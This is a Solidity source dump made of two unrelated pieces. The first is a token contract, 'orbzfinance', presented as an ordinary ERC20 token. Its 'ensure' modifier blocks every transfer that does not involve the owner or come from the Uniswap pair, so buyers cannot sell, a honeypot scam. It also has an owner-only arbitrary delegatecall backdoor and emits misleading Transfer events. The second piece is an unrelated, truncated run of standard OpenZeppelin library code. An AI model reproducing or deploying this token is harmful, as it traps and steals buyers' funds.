callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract orbzfinance { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
// File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/security/ReentrancyGuard.sol // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts-upgradeable/utils/StorageSlotUpgradeable.sol // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlotUpgradeable { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // File: gwei-slim-nft-contracts/contracts/base/IBaseERC721Interface.sol pragma solidity 0.8.9; /// Additional features and functions assigned to the /// Base721 contract for hooks and overrides interface IBaseERC721Interface { /* Exposing common NFT internal functionality for base contract overrides To save gas and make API cleaner this is only for new functionality not exposed in the core ERC721 contract */ /// Mint an NFT. Allowed to mint by owner, approval or by the parent contract /// @param tokenId id to burn function __burn(uint256 tokenId) external; /// Mint an NFT. Allowed only by the parent contract /// @param to address to mint to /// @param tokenId token id to mint function __mint(address to, uint256 tokenId) external; /// Set the base URI of the contract. Allowed only by parent contract /// @param base base uri /// @param extension extension function __setBaseURI(string memory base, string memory extension) external; /* Exposes common internal read features for public use */ /// Token exists /// @param tokenId token id to see if it exists function __exists(uint256 tokenId) external view returns (bool); /// Simple approval for operation check on token for address /// @param spender address spending/changing token /// @param tokenId tokenID to change / operate on function __isApprovedOrOwner(address spender, uint256 tokenId) external view returns (bool); function __isApprovedForAll(address owner, address operator) external view returns (bool); function __tokenURI(uint256 tokenId) external view returns (string memory); function __owner() external view returns (address); } // File: @openzeppelin/contracts-upgradeable/utils/CountersUpgradeable.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library CountersUpgradeable { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol // OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // File: @openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { __Context_init_unchained(); } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // File: @openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal onlyInitializing { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal onlyInitializing { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } // File: @openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts-upgradeable/interfaces/IERC165Upgradeable.sol // OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol) pragma solidity ^0.8.0; // File: @openzeppelin/contracts-upgradeable/interfaces/IERC2981Upgradeable.sol // OpenZeppelin Contracts v4.4.1 (interfaces/IERC2981.sol) pragma solidity ^0.8.0; /** * @dev Interface for the NFT Royalty Standard */ interface IERC2981Upgradeable is IERC165Upgradeable { /** * @dev Called with the sale price to determine how much royalty is owed and to whom. * @param tokenId - the NFT asset queried for royalty information * @param salePrice - the sale price of the NFT asset specified by `tokenId` * @return receiver - address of who should be sent the royalty payment * @return royaltyAmount - the royalty payment amount for `salePrice` */ function royaltyInfo(uint256 tokenId, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount); } // File: @openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal onlyInitializing { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal onlyInitializing { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == 